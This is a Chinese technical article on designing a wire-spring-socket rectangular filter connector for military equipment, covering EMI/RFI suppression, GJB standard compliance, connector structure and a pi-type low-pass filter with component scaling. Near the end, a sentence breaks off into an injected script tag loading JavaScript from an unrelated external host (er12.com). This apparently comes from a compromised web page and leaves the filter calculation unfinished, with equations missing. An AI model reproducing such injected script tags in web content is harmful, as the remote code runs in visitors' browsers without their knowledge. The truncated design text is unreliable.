一种线簧孔矩形滤波连接器的设计

1 引言

随着科技的发展和进步,现代军民两用电子设备日益精密、复杂和多功能化,而各种电子设备始终受到电磁干扰和射频干扰(emi/rfi)。就1个系统而言,各种电磁干扰在接口处最为严重,它既能将系统外部的emi传导或辐射到系统内部,又可将系统内部的emi传导或辐射到系统外部。因此,接口处的连接器在抗电磁干扰中起着极其重要的作用。为适应这一新形势和满足用户的使用要求,我们研制了1种线簧孔矩形滤波连接器,用于某控制系统的信号传输,同时起到抗电磁干扰的作用。

2 性能要求

2.1 结构合理、紧凑、使用方便

接口、安装尺寸和接触件的排列分布等互换性尺寸符合gjb142a94中25芯、3号壳体的规定,通用性强,体积小,重量轻,安装使用方便。

2.2主要技术性能指标

这种滤波连接器主要用于要求较高的军用设备,因此对性能指标有较高的要求,耐环境技术指标符合gjb142a-94《机柜用外壳定位小型矩形电连接器总规范》(等效于mil—c24308b(2)《小矩形外壳定位机柜电连接器总规范》)的规定,部分指标还高于其规定,插入损耗符合gjb1308 91《滤波电连接器要求》(等效于mil—std—2120《通讯用抗电磁干扰连接器》)的规定(见表1)

3连接器的结构设计

3.1总体结构设计

由于该连接器的互换性尺寸符合gjb142a的规定,插孔接触件为线簧插孔,而且用户要求连接器适合用于板载连接,不增大机柜的体积,要求滤波性能符合gjb1308中g频段的规定,上述相关机械和电气原因决定了连接器的整体结构:在插针接触件上加装滤波器组件构成滤波插针连接器,具体结构如图1所示,专用的接地簧片和连接器的外壳以及滤波器的接地极相接,连接器的外壳和机柜相连,这样就通过了接地、屏蔽和滤波几种方法的综合利用,有效地抑制了emi/rfi。由线簧插孔接触件构成插孔连接器,具体结构如图4所示,线簧插孔的端接方式为焊接,同时由于其插拔力较小,可适用于不同厚度的印制板。

图1 滤波插针电连接器外形结构

1.防尘盖 2.外壳 3.安装板 4.滤波插针组件

5.安装板 6.接地簧片 7.安装板 8.外壳

3.2滤波接触件的结构和滤波原理

由于工艺和性能等方面的要求,此次研制的连接器所采用的滤波元件结构采用管状结构。将管状电容器和管状磁芯组成的滤波元件装入插针和接线端子之间,通过压接后即构成滤波插针接触件,如图2所示。

图2 滤波插针接触件的结构
1.插针 2.管状电容器 3.铁氧体电感器(磁芯) 4.接线端子

由图2可以看出滤波组件的电路原理图,如图3所示。

图3 滤波组件的电路原理

l.电感器 c1.输入电容器 c2.输出电容器

该滤波器为“π”型低通滤波器,它由两个并联的输入、输出电容器和电感器(即铁氧体磁芯)组成,在大于截止频率时,每个元件的衰减变化率为6db/倍频程,这样,“π”型低通滤波器的超截止频率的衰减为18db/倍频程。

上述陶瓷管式滤波接触件为无源双端口网络,其传递函数为:

(1)

式中:s是网络的s参数,s=jω;

ω是角频率,ω=2πfrad/s;j是虚数,。

以s=jω带入上式,可得到下式:

(2)

然后,在不同频率上计算这个表达式,结果可以得出用t(jω)的绝对值以及对于直流(零频)而言的相对应的衰减分贝值,如表2所示。
表2 t(jω)的频响特性

ω
t(jω)
20lg|t(jω)|

0
1
0

1
0.707
-3db

2
0.124
-18db

3
0.037
-29db

4
0.0156
-36db

分析方程式(1)可知,传递函数的分母有3个根或3个极点,而分子没有根(即没有零点),因此,这样的滤波器叫做全极点型滤波器。其实上述低通滤波器即为归一化低通滤波器,其截止频率为1rad/s,在图3中:

rs=rl=1ω(rs是信号源内阻;rl是负载电阻)

l=2h

c1=c2=1f

根据实际情况中滤波器所配接电缆的特性阻抗,可对滤波器进行阻抗标度;根据实际情况中所要求的截止频率,可对滤波器进行频率标度,即“去归一化”。根据表1中的数据fc=0.5mhz及电缆特性阻抗r=50ω(假设),以及标度公式,可得出“去归一化”后的低通滤波器各元件的值:

r=r′×z=1×50=50(ω)

式中:“′”表示阻抗标度前的数值;fsf是根据实际要求的截止频率而?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计